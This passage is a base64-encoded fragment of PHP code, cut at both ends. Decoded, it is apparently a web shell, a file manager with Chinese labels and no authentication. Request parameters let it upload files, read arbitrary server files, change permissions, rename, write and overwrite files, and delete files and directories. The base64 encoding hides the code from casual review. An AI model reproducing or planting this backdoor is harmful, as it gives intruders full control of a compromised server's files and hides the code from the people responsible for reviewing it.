gICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAz